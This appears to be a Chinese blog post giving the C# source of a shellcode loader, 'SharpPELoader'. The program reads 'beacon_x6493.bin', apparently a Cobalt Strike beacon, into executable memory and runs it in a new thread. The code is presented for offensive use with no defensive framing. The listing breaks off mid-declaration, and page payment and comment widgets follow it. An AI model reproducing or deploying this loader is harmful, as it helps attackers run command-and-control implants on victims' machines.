c#加载shellcode

本地加载bin文件

SharpPELoader项目如下:

using System;
using System.IO;
using System.Runtime.InteropServices;

namespace TestShellCode
{
   
    internal class Program
    {
   
        private const uint MEM_COMMIT = 0x1000;
        private const uint PAGE_EXECUTE_READWRITE = 0x40;
        private const uint INFINITE = 0xFFFFFFFF;

        static void Main(string[] args)
        {
   
            string shellcodeFilePath = "beacon_x6493.bin";

            if (!File.Exists(shellcodeFilePath))
            {
   
                Console.WriteLine("Shellcode file not found.");
                return;
            }

            byte[] shellcode = File.ReadAllBytes(shellcodeFilePath);
            IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

            if (funcAddr == IntPtr.Zero)
            {
   
                Console.WriteLine($"VirtualAlloc failed with error code {
     Marshal.GetLastWin32Error()}.");
                return;
            }

            Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, out uint threadId);

            if (hThread == IntPtr.Zero)
            {
   
                Console.WriteLine($"CreateThread failed with error code {
     Marshal.GetLastWin32Error()}.");
                VirtualFree(funcAddr, 0, MEM_COMMIT);
                return;
            }

            WaitForSingleObject(hThread, INFINITE);

            CloseHandle(hThread);
            VirtualFree(funcAddr, 0, MEM_COMMIT);
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值